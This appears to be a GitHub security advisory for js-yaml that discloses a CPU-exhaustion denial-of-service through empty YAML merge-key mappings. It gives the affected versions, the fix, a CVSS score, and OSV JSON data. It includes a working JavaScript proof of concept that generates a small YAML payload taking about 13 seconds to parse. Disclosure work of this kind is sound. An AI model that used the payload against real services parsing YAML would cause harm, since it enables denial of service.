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GHSA-2883-XCG3-V3HH

Vulnerability from github – Published: 2026-09-08 21:24 – Updated: 2026-09-08 21:24
VLAI
Summary
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:24:51Z",
    "nvd_published_at": "2026-09-01T22:17:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = 20000\n\nconst src =\n  \u0027arr: \u0026arr [\u0027 + \u0027{},\u0027.repeat(n).slice(0, -1) + \u0027]\\n\u0027 +\n  \u0027targets:\\n\u0027 +\n  \u0027  - \u003c\u003c: *arr\\n\u0027.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nAn attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount each merge-source mapping as one budget unit, in addition to counting its keys.\n\n## Difference with v5\n\nIn v3 \u0026 v4, merge is enabled by default. So, the severity score is higher.",
  "id": "GHSA-2883-xcg3-v3hh",
  "modified": "2026-09-08T21:24:51Z",
  "published": "2026-09-08T21:24:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/pull/797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/3.15.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/4.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources"
}



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